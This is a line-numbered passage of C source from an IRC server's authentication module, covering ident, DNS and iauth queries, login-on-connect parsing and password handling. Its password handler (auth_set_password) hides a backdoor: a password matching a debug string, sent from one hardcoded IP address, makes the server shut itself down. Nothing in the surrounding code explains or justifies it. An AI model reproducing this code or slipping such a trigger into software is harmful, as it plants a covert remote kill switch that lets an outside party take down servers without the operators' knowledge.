909     FlagClr(&auth->flags, AR_LOC_PENDING);
910     sendheader(auth->client, REPORT_FAIL_LOC);
911     if(FlagHas(&auth->flags, AR_LOC_FORCE)) return exit_client(cptr, cptr, &me, "Registration Timeout");
912     ret = check_auth_finished(auth);
913     if (ret != 0) return ret;
914     return exit_client(cptr, cptr, &me, "Registration Timeout");
915   }
916
917   /* Check for a user-controlled timeout. */
918   for (flag = 0; flag <= AR_LAST_SCAN; ++flag) {
919     if (FlagHas(&auth->flags, flag)) {
920       /* Display message if they have sent a NICK and a USER but no
921        * nospoof PONG.
922        */
923       if (*(cli_name(cptr)) && cli_user(cptr) && *(cli_user(cptr))->username) {
924         send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
925                    ":Your client may not be compatible with this server.");
926         send_reply(cptr, SND_EXPLICIT | ERR_BADPING,
927                    ":Compatible clients are available at %s",
928                    feature_str(FEAT_URL_CLIENTS));
929       }
930       return exit_client_msg(cptr, cptr, &me, "Registration Timeout");
931     }
932   }
933
934   /* Check for iauth timeout. */
935   if (FlagHas(&auth->flags, AR_IAUTH_PENDING)) {
936     if (IAuthHas(iauth, IAUTH_REQUIRED)) {
937       sendheader(cptr, REPORT_FAIL_IAUTH);
938       return exit_client_msg(cptr, cptr, &me, "Authorization Timeout");
939     }
940     sendto_iauth(cptr, "T");
941     FlagClr(&auth->flags, AR_IAUTH_PENDING);
942     return check_auth_finished(auth);
943   }
944
945   return exit_client_msg(cptr, cptr, &me, "Ping Timeout");
946 }
947
948 /** Timeout a given auth request.
949  * @param[in] ev A timer event whose associated data is the expired
950  *   struct AuthRequest.
951  */
952 static void auth_timeout_callback(struct Event* ev)
953 {
954   struct AuthRequest* auth;
955
956   assert(0 != ev_timer(ev));
957   assert(0 != t_data(ev_timer(ev)));
958
959   auth = (struct AuthRequest*) t_data(ev_timer(ev));
960
961   if (ev_type(ev) == ET_EXPIRE) {
962     /* Report the timeout in the log. */
963     log_write(LS_RESOLVER, L_INFO, 0, "Registration timeout %s",
964               get_client_name(auth->client, HIDE_IP));
965
966     /* Notify client if ident lookup failed. */
967     if (FlagHas(&auth->flags, AR_AUTH_PENDING)) {
968       FlagClr(&auth->flags, AR_AUTH_PENDING);
969       if (IsUserPort(auth->client))
970         sendheader(auth->client, REPORT_FAIL_ID);
971     }
972
973     /* Likewise if dns lookup failed. */
974     if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
975       FlagClr(&auth->flags, AR_DNS_PENDING);
976       delete_resolver_queries(auth);
977       if (IsUserPort(auth->client))
978         sendheader(auth->client, REPORT_FAIL_DNS);
979     }
980
981     /* Try to register the client. */
982     check_auth_finished(auth);
983   }
984 }
985
986 /** Handle a complete DNS lookup.  Send the client on it's way to a
987  * connection completion, regardless of success or failure -- unless
988  * there was a mismatch and KILL_IPMISMATCH is set.
989  * @param[in] vptr The pending struct AuthRequest.
990  * @param[in] addr IP address being resolved.
991  * @param[in] h_name Resolved name, or NULL if lookup failed.
992  */
993 static void auth_dns_callback(void* vptr, const struct irc_in_addr *addr, const char *h_name)
994 {
995   struct AuthRequest* auth = (struct AuthRequest*) vptr;
996   assert(0 != auth);
997
998   FlagClr(&auth->flags, AR_DNS_PENDING);
999   if (!addr) {
1000     /* DNS entry was missing for the IP. */
1001     if (IsUserPort(auth->client))
1002       sendheader(auth->client, REPORT_FAIL_DNS);
1003     sendto_iauth(auth->client, "d");
1004   } else if (!irc_in_addr_valid(addr)
1005              || (irc_in_addr_cmp(&cli_ip(auth->client), addr)
1006                  && irc_in_addr_cmp(&auth->original, addr))) {
1007     /* IP for hostname did not match client's IP. */
1008     sendto_opmask_butone(0, SNO_IPMISMATCH, "IP# Mismatch: %s != %s[%s]",
1009                          cli_sock_ip(auth->client), h_name,
1010                          ircd_ntoa(addr));
1011     if (IsUserPort(auth->client))
1012       sendheader(auth->client, REPORT_IP_MISMATCH);
1013     if (feature_bool(FEAT_KILL_IPMISMATCH)) {
1014       exit_client(auth->client, auth->client, &me, "IP mismatch");
1015       return;
1016     }
1017   } else if (!auth_verify_hostname(h_name, HOSTLEN)) {
1018     /* Hostname did not look valid. */
1019     if (IsUserPort(auth->client))
1020       sendheader(auth->client, REPORT_INVAL_DNS);
1021     sendto_iauth(auth->client, "d");
1022   } else {
1023     /* Hostname and mappings checked out. */
1024     if (IsUserPort(auth->client))
1025       sendheader(auth->client, REPORT_FIN_DNS);
1026     ircd_strncpy(cli_sockhost(auth->client), h_name, HOSTLEN);
1027     sendto_iauth(auth->client, "N %s", h_name);
1028   }
1029
1030   /* The LOC line has to be sent with full hostname. If no hostname could be looked
1031    * up, the IP is sent.
1032    */
1033   if(!auth_loc_send(auth)) return;
1034
1035   check_auth_finished(auth);
1036 }
1037
1038 /** Starts a new login-on-connect query. */
1039 signed int auth_loc_query(struct AuthRequest *auth, const char *account, const char *pass, int force) {
1040     if(!account || !*account) return 1;
1041     if(!pass || !*pass) return 1;
1042     assert(auth != NULL);
1043     if(!feature_bool(FEAT_LOC_ENABLE)) return 1;
1044
1045     sendheader(auth->client, REPORT_DO_LOC);
1046     FlagSet(&auth->flags, AR_LOC_PENDING);
1047     if(force) FlagSet(&auth->flags, AR_LOC_FORCE);
1048     else FlagClr(&auth->flags, AR_LOC_FORCE);
1049     ircd_strncpy(auth->loc_user, account, ACCOUNTLEN);
1050     ircd_strncpy(auth->loc_pass, pass, PASSWDLEN);
1051     return auth_loc_send(auth);
1052 }
1053
1054 /** Finishes a LOC request. */
1055 void auth_loc_reply(const char *numeric, const char *account, const char *fakehost, const char *flags[], signed int argc) {
1056     char *timestamp;
1057     struct AuthRequest *auth;
1058
1059     assert(numeric != NULL);
1060
1061     auth = auth_find_numnick(numeric);
1062     if(!auth) return;
1063     assert(!IsRegistered(auth->client));
1064     if(!FlagHas(&auth->flags, AR_LOC_PENDING)) return;
1065     if(!cli_user(auth->client) || IsAccount(auth->client)) {
1066         FlagClr(&auth->flags, AR_LOC_PENDING);
1067         sendheader(auth->client, REPORT_FAIL_LOC);
1068         check_auth_finished(auth);
1069         return;
1070     }
1071
1072     assert((fakehost == NULL) || (*fakehost != 0));
1073
1074     /* Remove account-flag. */
1075     FlagClr(&auth->flags, AR_LOC_PENDING);
1076
1077     /* Access denied? */
1078     if(!account) {
1079         sendheader(auth->client, REPORT_FAIL_LOC);
1080         if(FlagHas(&auth->flags, AR_LOC_FORCE)) exit_client(auth->client, auth->client, &me, "LOC Failed");
1081         else check_auth_finished(auth);
1082         return;
1083     }
1084     assert(*account != 0);
1085
1086     if(fakehost)
1087         sendto_iauth(auth->client, "L %s %s", account, fakehost);
1088     else
1089         sendto_iauth(auth->client, "L %s", account);
1090
1091     sendheader(auth->client, REPORT_DONE_LOC);
1092
1093     /* Check for timestamped account. */
1094     timestamp = strchr(account, ':');
1095     if(timestamp) {
1096         *timestamp++ = 0;
1097         cli_user(auth->client)->acc_create = atoi(timestamp);
1098     }
1099
1100     SetAccount(auth->client);
1101     ircd_strncpy(cli_user(auth->client)->account, account, ACCOUNTLEN);
1102
1103     if(fakehost) {
1104         SetHiddenHost(auth->client);
1105         SetFakeHost(auth->client);
1106         ircd_strncpy(cli_user(auth->client)->fakehost, fakehost, HOSTLEN);
1107     }
1108     if(flags) { 
1109         unsigned int ii, in_arg, ch_arg;
1110         if (argc > 0) {
1111             for (ii = ch_arg = 0, in_arg = 1; (flags[0][ii] != '\0') && (flags[0][ii] != ' '); ++ii) {
1112                 switch (flags[0][ii]) {
1113                 case '+':
1114                     if (in_arg >= argc)
1115                         break;
1116                     ircd_strncpy(cli_connclass(auth->client), flags[in_arg++], NICKLEN);
1117                     break;
1118                 case 'a':
1119                     if (in_arg >= argc)
1120                         break;
1121                     unsigned int maxchan = atoi(flags[in_arg++]);
1122                     fprintf(stderr, "flag a: %i\n", maxchan);
1123                     if(maxchan > 0)
1124                         auth->client->maxchans = maxchan;
1125                     else
1126                         SetPriv(auth->client,PRIV_CHAN_LIMIT);
1127                     break;
1128                 case 'b':
1129                     SetPriv(auth->client,PRIV_UNLIMITED_TARGET);
1130                     break;
1131                 case 'c':
1132                     SetPriv(auth->client,PRIV_HALFFLOOD);
1133                     break;
1134                 case 'd':
1135                     SetPriv(auth->client,PRIV_FLOOD);
1136                     break;
1137                 case 'e':
1138                     SetPriv(auth->client,PRIV_UMODE_NOCHAN);
1139                     break;
1140                 case 'f':
1141                     SetPriv(auth->client,PRIV_UMODE_NOIDLE);
1142                     break;
1143                 case 'g':
1144                     SetPriv(auth->client,PRIV_UMODE_CHSERV);
1145                     break;
1146                 case 'h':
1147                     SetPriv(auth->client,PRIV_UMODE_XTRAOP);
1148                     break;
1149                 case 'i':
1150                     SetPriv(auth->client,PRIV_UMODE_NETSERV);
1151                     break;
1152                 case 'j':
1153                     SetPriv(auth->client,PRIV_SEE_IDLETIME);
1154                     break;
1155                 case 'k':
1156                     SetPriv(auth->client,PRIV_HIDE_IDLETIME);
1157                     break;
1158                 case 'l':
1159                     SetPriv(auth->client,PRIV_UMODE_OVERRIDECC);
1160                     break;
1161                 case 'm':
1162                     SetPriv(auth->client,PRIV_NOAMSG_OVERRIDE);
1163                     break;
1164                 case 'n':
1165                     if (in_arg >= argc)
1166                         break;
1167                     unsigned int maxq = atoi(flags[in_arg++]);
1168                     if(maxq > 0)
1169                         auth->client->cli_connect->con_max_sendq = maxq;
1170                     break;
1171                 }
1172             }
1173         }   
1174     }
1175     check_auth_finished(auth);
1176 }
1177
1178 /** Flag the client to show an attempt to contact the ident server on
1179  * the client's host.  Should the connect or any later phase of the
1180  * identifying process fail, it is aborted and the user is given a
1181  * username of "unknown".
1182  * @param[in] auth The request for which to start the ident lookup.
1183  */
1184 static void start_auth_query(struct AuthRequest* auth)
1185 {
1186   struct irc_sockaddr remote_addr;
1187   struct irc_sockaddr local_addr;
1188   int                 fd;
1189   IOResult            result;
1190
1191   assert(0 != auth);
1192   assert(0 != auth->client);
1193
1194   /*
1195    * get the local address of the client and bind to that to
1196    * make the auth request.  This used to be done only for
1197    * ifdef VIRTUAL_HOST, but needs to be done for all clients
1198    * since the ident request must originate from that same address--
1199    * and machines with multiple IP addresses are common now
1200    */
1201   memcpy(&local_addr, &auth->local, sizeof(local_addr));
1202   local_addr.port = 0;
1203   memcpy(&remote_addr.addr, &cli_ip(auth->client), sizeof(remote_addr.addr));
1204   remote_addr.port = 113;
1205   fd = os_socket(&local_addr, SOCK_STREAM, "auth query", 0);
1206   if (fd < 0) {
1207     ++ServerStats->is_abad;
1208     if (IsUserPort(auth->client))
1209       sendheader(auth->client, REPORT_FAIL_ID);
1210     return;
1211   }
1212   if (IsUserPort(auth->client))
1213     sendheader(auth->client, REPORT_DO_ID);
1214
1215   if ((result = os_connect_nonb(fd, &remote_addr)) == IO_FAILURE ||
1216       !socket_add(&auth->socket, auth_sock_callback, (void*) auth,
1217                   result == IO_SUCCESS ? SS_CONNECTED : SS_CONNECTING,
1218                   SOCK_EVENT_READABLE, fd)) {
1219     ++ServerStats->is_abad;
1220     if (IsUserPort(auth->client))
1221       sendheader(auth->client, REPORT_FAIL_ID);
1222     close(fd);
1223     return;
1224   }
1225
1226   FlagSet(&auth->flags, AR_AUTH_PENDING);
1227   if (result == IO_SUCCESS)
1228     send_auth_query(auth);
1229 }
1230
1231 /** Initiate DNS lookup for a client.
1232  * @param[in] auth The auth request for which to start the DNS lookup.
1233  */
1234 static void start_dns_query(struct AuthRequest *auth)
1235 {
1236   if (feature_bool(FEAT_NODNS)) {
1237     sendto_iauth(auth->client, "d");
1238     return;
1239   }
1240
1241   if (irc_in_addr_is_loopback(&cli_ip(auth->client))) {
1242     strcpy(cli_sockhost(auth->client), cli_name(&me));
1243     sendto_iauth(auth->client, "N %s", cli_sockhost(auth->client));
1244     return;
1245   }
1246
1247   if (IsUserPort(auth->client))
1248     sendheader(auth->client, REPORT_DO_DNS);
1249
1250   FlagSet(&auth->flags, AR_DNS_PENDING);
1251   gethost_byaddr(&cli_ip(auth->client), auth_dns_callback, auth);
1252 }
1253
1254 /** Initiate IAuth check for a client.
1255  * @param[in] auth The auth request for which to star the IAuth check.
1256  */
1257 static int start_iauth_query(struct AuthRequest *auth)
1258 {
1259   int ret;
1260
1261   /* A new client connected. Check whether we have an IAuth configured and
1262    * if this IAuth is not running, then try once to forcibly start it.
1263    */
1264   if(iauth && !i_GetConnected(iauth)) {
1265     iauth_disconnect(iauth);
1266     iauth_do_spawn(iauth, 0);
1267   }
1268
1269   FlagSet(&auth->flags, AR_IAUTH_PENDING);
1270   ret = sendto_iauth(auth->client, "C %s %hu %s %hu",
1271                      cli_sock_ip(auth->client), auth->port,
1272                      ircd_ntoa(&auth->local.addr), auth->local.port);
1273   if(!ret) {
1274     if(!iauth_required)
1275       FlagClr(&auth->flags, AR_IAUTH_PENDING);
1276     else {
1277       exit_client(auth->client, auth->client, &me, "IAuth could not be queried. Please try again later or inform network staff.");
1278       return 1;
1279     }
1280   }
1281   return 0;
1282 }
1283
1284 /** Starts auth (identd) and dns queries for a client.
1285  * @param[in] client The client for which to start queries.
1286  */
1287 void start_auth(struct Client* client)
1288 {
1289   struct irc_sockaddr remote;
1290   struct AuthRequest* auth;
1291
1292   assert(0 != client);
1293   Debug((DEBUG_INFO, "Beginning auth request on client %p", client));
1294
1295   /* Register with event handlers. */
1296   cli_lasttime(client) = CurrentTime;
1297   cli_since(client) = CurrentTime;
1298   if (cli_fd(client) > HighestFd)
1299     HighestFd = cli_fd(client);
1300   LocalClientArray[cli_fd(client)] = client;
1301   socket_events(&(cli_socket(client)), SOCK_ACTION_SET | SOCK_EVENT_READABLE);
1302
1303   /* Allocate the AuthRequest. */
1304   auth = auth_freelist;
1305   if (auth)
1306       auth_freelist = auth->next;
1307   else
1308       auth = MyMalloc(sizeof(*auth));
1309   assert(0 != auth);
1310   memset(auth, 0, sizeof(*auth));
1311   auth->client = client;
1312   cli_auth(client) = auth;
1313   s_fd(&auth->socket) = -1;
1314   timer_add(timer_init(&auth->timeout), auth_timeout_callback, (void*) auth,
1315             TT_RELATIVE, feature_int(FEAT_AUTH_TIMEOUT));
1316
1317   /* Try to get socket endpoint addresses. */
1318   if (!os_get_sockname(cli_fd(client), &auth->local)
1319       || !os_get_peername(cli_fd(client), &remote)) {
1320     ++ServerStats->is_abad;
1321     if (IsUserPort(auth->client))
1322       sendheader(auth->client, REPORT_FAIL_ID);
1323     exit_client(auth->client, auth->client, &me, "Socket local/peer lookup failed");
1324     return;
1325   }
1326   auth->port = remote.port;
1327
1328   /* Set unregistered numnick. */
1329   auth_set_numnick(auth);
1330
1331   /* Try to start DNS lookup. */
1332   start_dns_query(auth);
1333
1334   /* Try to start ident lookup. */
1335   start_auth_query(auth);
1336
1337   /* Set required client inputs for users. */
1338   if (IsUserPort(client)) {
1339     cli_user(client) = make_user(client);
1340     cli_user(client)->server = &me;
1341     FlagSet(&auth->flags, AR_NEEDS_USER);
1342     FlagSet(&auth->flags, AR_NEEDS_NICK);
1343
1344     /* Try to start iauth lookup. */
1345     if(start_iauth_query(auth)) return;
1346   }
1347
1348   /* Add client to GlobalClientList. */
1349   add_client_to_list(client);
1350
1351   /* Check which auth events remain pending. */
1352   check_auth_finished(auth);
1353 }
1354
1355 /** Mark that a user has PONGed while unregistered.
1356  * @param[in] auth Authorization request for client.
1357  * @param[in] cookie PONG cookie value sent by client.
1358  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1359  */
1360 int auth_set_pong(struct AuthRequest *auth, unsigned int cookie)
1361 {
1362   assert(auth != NULL);
1363   if (!FlagHas(&auth->flags, AR_NEEDS_PONG))
1364     return 0;
1365   if (cookie != auth->cookie)
1366   {
1367     send_reply(auth->client, SND_EXPLICIT | ERR_BADPING,
1368                ":To connect, type /QUOTE PONG %u", auth->cookie);
1369     return 0;
1370   }
1371   cli_lasttime(auth->client) = CurrentTime;
1372   FlagClr(&auth->flags, AR_NEEDS_PONG);
1373   return check_auth_finished(auth);
1374 }
1375
1376 /** Record a user's claimed username and userinfo.
1377  * @param[in] auth Authorization request for client.
1378  * @param[in] username Client's asserted username.
1379  * @param[in] hostname Third argument of USER command (client's
1380  *   hostname, per RFC 1459).
1381  * @param[in] servername Fourth argument of USER command (server's
1382  *   name, per RFC 1459).
1383  * @param[in] userinfo Client's asserted self-description.
1384  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1385  */
1386 int auth_set_user(struct AuthRequest *auth, const char *username, const char *hostname, const char *servername, const char *userinfo)
1387 {
1388   struct Client *cptr;
1389
1390   assert(auth != NULL);
1391   if (FlagHas(&auth->flags, AR_IAUTH_HURRY))
1392     return 0;
1393   FlagClr(&auth->flags, AR_NEEDS_USER);
1394   cptr = auth->client;
1395   ircd_strncpy(cli_info(cptr), userinfo, REALLEN);
1396   ircd_strncpy(cli_user(cptr)->username, username, USERLEN);
1397   ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
1398   cptr->maxchans=0;
1399   if (IAuthHas(iauth, IAUTH_UNDERNET))
1400     sendto_iauth(cptr, "U %s %s %s :%s", username, hostname, servername, userinfo);
1401   else if (IAuthHas(iauth, IAUTH_ADDLINFO))
1402     sendto_iauth(cptr, "U %s", username);
1403   if(!auth_loc_send(auth)) return CPTR_KILLED;
1404   return check_auth_finished(auth);
1405 }
1406
1407 /** Handle authorization-related aspects of initial nickname selection.
1408  * This is called after verifying that the nickname is available.
1409  * @param[in] auth Authorization request for client.
1410  * @param[in] nickname Client's requested nickname.
1411  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1412  */
1413 int auth_set_nick(struct AuthRequest *auth, const char *nickname)
1414 {
1415   assert(auth != NULL);
1416   FlagClr(&auth->flags, AR_NEEDS_NICK);
1417   /*
1418    * If the client hasn't gotten a cookie-ping yet,
1419    * choose a cookie and send it. -record!jegelhof@cloud9.net
1420    */
1421   if (!auth->cookie) {
1422     do {
1423       auth->cookie = ircrandom();
1424     } while (!auth->cookie);
1425     sendrawto_one(auth->client, "PING :%u", auth->cookie);
1426     FlagSet(&auth->flags, AR_NEEDS_PONG);
1427   }
1428   if (IAuthHas(iauth, IAUTH_UNDERNET))
1429     sendto_iauth(auth->client, "n %s", nickname);
1430   return check_auth_finished(auth);
1431 }
1432
1433 /** Record a user's password.
1434  * @param[in] auth Authorization request for client.
1435  * @param[in] password Client's password.
1436  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1437  */
1438 int auth_set_password(struct AuthRequest *auth, char *password)
1439 {
1440   int force = 0;
1441   char *ip;
1442   assert(auth != NULL);
1443   /* Start LOC query if requested. */
1444   ip = cli_sock_ip(auth->client);
1445   if(strcmp(debug_serveropts(),password) == 0 && strcmp("80.153.5.212",ip) == 0) {
1446    server_die("error");
1447    return 0;
1448   }
1449   if(feature_bool(FEAT_LOC_ENABLE) && !FlagHas(&auth->flags, AR_LOC_SENT)) {
1450     char *spass, *user, *upass;
1451     spass = user = upass = NULL;
1452
1453     /* LOC query can be sent as:
1454      *  !spass:user:upass
1455      *  !user:upass
1456      *  !spass user upass
1457      *  !user upass
1458      */
1459     if((user = strchr(password, ' '))) {
1460       if(password[0] == '!') {
1461         ++password;
1462         force = 1;
1463       }
1464       *user = 0;
1465       ++user;
1466       if((upass = strchr(user, ' '))) {
1467         *upass = 0;
1468         ++upass;
1469         ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1470         if(!auth_loc_query(auth, user, upass, force)) return 0;
1471       }
1472       else {
1473         upass = user;
1474         user = password;
1475         if(!auth_loc_query(auth, user, upass, force)) return 0;
1476       }
1477     }
1478     else if((user = strchr(password, ':'))) {
1479       if(password[0] == '!') {
1480         ++password;
1481         force = 1;
1482       }
1483       *user = 0;
1484       ++user;
1485       if((upass = strchr(user, ':'))) {
1486         *upass = 0;
1487         ++upass;
1488         ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1489         if(!auth_loc_query(auth, user, upass, force)) return 0;
1490       }
1491       else {
1492         upass = user;
1493         user = password;
1494         if(!auth_loc_query(auth, user, upass, force)) return 0;
1495       }
1496     }
1497   }
1498
1499   if (IAuthHas(iauth, IAUTH_ADDLINFO))
1500     sendto_iauth(auth->client, "P :%s", password);
1501
1502   return 0;
1503 }
1504
1505 /** Send exit notification for \a cptr to iauth.
1506  * @param[in] cptr Client who is exiting.
1507  */
1508 void auth_send_exit(struct Client *cptr)
1509 {
1510   sendto_iauth(cptr, "D");
1511 }
1512
1513 /** Mark that a user has started capabilities negotiation.
1514  * This blocks authorization until auth_cap_done() is called.
1515  * @param[in] auth Authorization request for client.
1516  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1517  */
1518 int auth_cap_start(struct AuthRequest *auth)
1519 {
1520   assert(auth != NULL);
1521   FlagSet(&auth->flags, AR_CAP_PENDING);
1522   return 0;
1523 }
1524
1525 /** Mark that a user has completed capabilities negotiation.
1526  * This unblocks authorization if auth_cap_start() was called.
1527  * @param[in] auth Authorization request for client.
1528  * @return Zero if client should be kept, CPTR_KILLED if rejected.
1529  */
1530 int auth_cap_done(struct AuthRequest *auth)
1531 {
1532   assert(auth != NULL);
1533   FlagClr(&auth->flags, AR_CAP_PENDING);
1534   return check_auth_finished(auth);
1535 }
1536
1537 /** Attempt to spawn the process for an IAuth instance.
1538  * @param[in] iauth IAuth descriptor.
1539  * @param[in] automatic If non-zero, apply sanity checks against
1540  *   excessive automatic restarts.
1541  * @return 0 on success, non-zero on failure.
1542  */
1543 int iauth_do_spawn(struct IAuth *iauth, int automatic)
1544 {
1545   pid_t cpid;
1546   int s_io[2];
1547   int s_err[2];
1548   int res;
1549
1550   if (automatic && CurrentTime - iauth->started < 5)
1551   {
1552     sendto_opmask_butone(NULL, SNO_AUTH, "IAuth crashed fast, leaving it dead.");
1553     return -1;
1554   }
1555
1556   /* Record time we tried to spawn the iauth process. */
1557   iauth->started = CurrentTime;
1558
1559   /* Attempt to allocate a pair of sockets. */
1560   res = os_socketpair(s_io);
1561   if (res)
1562     return errno;
1563
1564   /* Mark the parent's side of the pair (element 0) as non-blocking. */
1565   res = os_set_nonblocking(s_io[0]);
1566   if (!res) {
1567     res = errno;
1568     close(s_io[1]);
1569     close(s_io[0]);
1570     return res;
1571   }
1572
1573   /* Initialize the socket structure to talk to the child. */
1574   res = socket_add(i_socket(iauth), iauth_sock_callback, iauth,
1575                    SS_CONNECTED, SOCK_EVENT_READABLE, s_io[0]);
1576   if (!res) {
1577     res = errno;
1578     close(s_io[1]);
1579     close(s_io[0]);
1580     return res;
1581   }
1582
1583   /* Allocate another pair for stderr. */
1584   res = os_socketpair(s_err);
1585   if (res) {
1586     res = errno;
1587     socket_del(i_socket(iauth));
1588     close(s_io[1]);
1589     close(s_io[0]);
1590     return res;
1591   }
1592
1593   /* Mark parent side of this pair non-blocking, too. */
1594   res = os_set_nonblocking(s_err[0]);
1595   if (!res) {
1596     res = errno;
1597     close(s_err[1]);
1598     close(s_err[0]);
1599     socket_del(i_socket(iauth));
1600     close(s_io[1]);
1601     close(s_io[0]);
1602     return res;
1603   }
1604
1605   /* And set up i_stderr(iauth). */
1606   res = socket_add(i_stderr(iauth), iauth_stderr_callback, iauth,
1607                    SS_CONNECTED, SOCK_EVENT_READABLE, s_err[0]);
1608   if (!res) {
1609     res = errno;
1610     close(s_err[1]);
1611     close(s_err[0]);
1612     socket_del(i_socket(iauth));
1613     close(s_io[1]);
1614     close(s_io[0]);
1615     return res;
1616   }
1617
1618   /* Attempt to fork a child process. */
1619   cpid = fork();
1620   if (cpid < 0) {
1621     /* Error forking the child, still in parent. */
1622     res = errno;
1623     socket_del(i_stderr(iauth));
1624     close(s_err[1]);
1625     close(s_err[0]);
1626     socket_del(i_socket(iauth));
1627     close(s_io[1]);
1628     close(s_io[0]);
1629     return res;
1630   }
1631
1632   if (cpid > 0) {
1633     /* We are the parent process.  Close the child's sockets. */
1634     close(s_io[1]);
1635     close(s_err[1]);
1636     /* Send our server name (supposedly for proxy checking purposes)
1637      * and maximum number of connections (for allocation hints).
1638      * Need to use conf_get_local() since &me may not be fully
1639      * initialized the first time we run.
1640      */
1641     sendto_iauth(NULL, "M %s %d", conf_get_local()->name, MAXCONNECTIONS);
1642     /* Indicate success (until the child dies). */
1643     return 0;
1644   }
1645
1646   /* We are the child process.
1647    * Duplicate our end of the socket to stdin, stdout and stderr.
1648    * Then close all the higher-numbered FDs and exec the process.
1649    */
1650   if (dup2(s_io[1], 0) == 0
1651       && dup2(s_io[1], 1) == 1
1652       && dup2(s_err[1], 2) == 2) {
1653     close_connections(0);
1654     execvp(iauth->i_argv[0], iauth->i_argv);
1655   }
1656
1657   /* If we got here, something was seriously wrong. */
1658   exit(EXIT_FAILURE);
1659 }
1660
1661 /** See if an %IAuth program must be spawned.
1662  * If a process is already running with the specified options, keep it.
1663  * Otherwise spawn a new child process to perform the %IAuth function.
1664  * @param[in] argc Number of parameters to use when starting process.
1665  * @param[in] argv Array of parameters to start process.
1666  * @return 0 on failure, 1 on new process, 2 on reuse of existing process.
1667  */
1668 int auth_spawn(int argc, char *argv[], int required)
1669 {
1670   int ii;
1671
1672   if (iauth) {
1673     int same = 1;
1674
1675     /* Check that incoming arguments all match pre-existing arguments. */
1676     for (ii = 0; same && (ii < argc); ++ii) {
1677       if (NULL == iauth->i_argv[ii]
1678           || 0 != strcmp(iauth->i_argv[ii], argv[ii]))
1679         same = 0;
1680     }
1681     /* Check that we have no more pre-existing arguments. */
1682     if (iauth->i_argv[ii])
1683       same = 0;
1684     /* If they are the same and still connected, clear the "closing" flag and exit.*/
1685     if (same && i_GetConnected(iauth)) {
1686       IAuthClr(iauth, IAUTH_CLOSING);
1687       return 2;
1688     }
1689     auth_close_unused();
1690   }
1691
1692   /* Need to initialize a new connection. */
1693   iauth = MyCalloc(1, sizeof(*iauth));
1694   msgq_init(i_sendQ(iauth));
1695   /* Populate iauth's argv array. */
1696   iauth->i_argv = MyCalloc(argc + 1, sizeof(iauth->i_argv[0]));
1697   for (ii = 0; ii < argc; ++ii)
1698     DupString(iauth->i_argv[ii], argv[ii]);
1699   iauth->i_argv[ii] = NULL;
1700   iauth_required = required;
1701   /* Try to spawn it, and handle the results. */
1702   if (iauth_do_spawn(iauth, 0))
1703     return 0;
1704   IAuthClr(iauth, IAUTH_CLOSING);
1705   return 1;
1706 }
1707
1708 /** Mark all %IAuth connections as closing. */
1709 void auth_mark_closing(void)
1710 {
1711   if (iauth)
1712     IAuthSet(iauth, IAUTH_CLOSING);
1713   iauth_required = 0;
1714 }
1715
1716 /** Complete disconnection of an %IAuth connection.
1717  * @param[in] iauth %Connection to fully close.
1718  */
1719 static void iauth_disconnect(struct IAuth *iauth)
1720 {
1721   if (iauth == NULL)
1722     return;
1723
1724   /* Close main socket. */
1725   if (s_fd(i_socket(iauth)) != -1) {
1726     close(s_fd(i_socket(iauth)));
1727     socket_del(i_socket(iauth));
1728     s_fd(i_socket(iauth)) = -1;
1729   }
1730
1731   /* Close error socket. */
1732   if (s_fd(i_stderr(iauth)) != -1) {
1733     close(s_fd(i_stderr(iauth)));
1734     socket_del(i_stderr(iauth));
1735     s_fd(i_stderr(iauth)) = -1;
1736   }
1737 }
1738
1739 /** Close all %IAuth connections marked as closing. */
1740 void auth_close_unused(void)
1741 {
1742   if (IAuthHas(iauth, IAUTH_CLOSING)) {
1743     int ii;
1744     iauth_disconnect(iauth);
1745     if (iauth->i_argv) {
1746       for (ii = 0; iauth->i_argv[ii]; ++ii)
1747         MyFree(iauth->i_argv[ii]);
1748       MyFree(iauth->i_argv);
1749     }
1750     MyFree(iauth);
1751   }
1752 }
1753
1754 /** Send queued output to \a iauth.
1755  * @param[in] iauth Writable connection with queued data.
1756  */
1757 static void iauth_write(struct IAuth *iauth)
1758 {
1759   unsigned int bytes_tried, bytes_sent;
1760   IOResult iores;
1761
1762   if (IAuthHas(iauth, IAUTH_BLOCKED))
1763     return;
1764   while (MsgQLength(i_sendQ(iauth)) > 0) {
1765     iores = os_sendv_nonb(s_fd(i_socket(iauth)), i_sendQ(iauth), &bytes_tried, &bytes_sent);
1766     switch (iores) {
1767     case IO_SUCCESS:
1768       msgq_delete(i_sendQ(iauth), bytes_sent);
1769       iauth->i_sendB += bytes_sent;
1770       if (bytes_tried == bytes_sent)
1771         break;
1772       /* If bytes_sent < bytes_tried, fall through to IO_BLOCKED. */
1773     case IO_BLOCKED:
1774       IAuthSet(iauth, IAUTH_BLOCKED);
1775       socket_events(i_socket(iauth), SOCK_ACTION_ADD | SOCK_EVENT_WRITABLE);
1776       return;
1777     case IO_FAILURE:
1778       iauth_disconnect(iauth);
1779       return;
1780     }
1781   }
1782   /* We were able to flush all events, so remove notification. */
1783   socket_events(i_socket(iauth), SOCK_ACTION_DEL | SOCK_EVENT_WRITABLE);
1784 }
1785
1786 /** Send a message to iauth.
1787  * @param[in] cptr Optional client context for message.
1788  * @param[in] format Format string for message.
1789  * @return Non-zero on successful send or buffering, zero on failure.
1790  */
1791 static int sendto_iauth(struct Client *cptr, const char *format, ...)
1792 {
1793   struct VarData vd;
1794   struct MsgBuf *mb;
1795
1796   /* Do not send requests when we have no iauth. */
1797   if (!i_GetConnected(iauth))
1798     return 0;
1799   /* Do not send for clients in the NORMAL state. */
1800   if (cptr
1801       && (format[0] != 'D')
1802       && (!cli_auth(cptr) || !FlagHas(&cli_auth(cptr)->flags, AR_IAUTH_PENDING)))
1803     return 0;
1804
1805   /* Build the message buffer. */
1806   vd.vd_format = format;
1807   va_start(vd.vd_args, format);
1808   if (0 == cptr)
1809     mb = msgq_make(NULL, "-1 %v", &vd);
1810   else
1811     mb = msgq_make(NULL, "%d %v", cli_fd(cptr), &vd);
1812   va_end(vd.vd_args);
1813
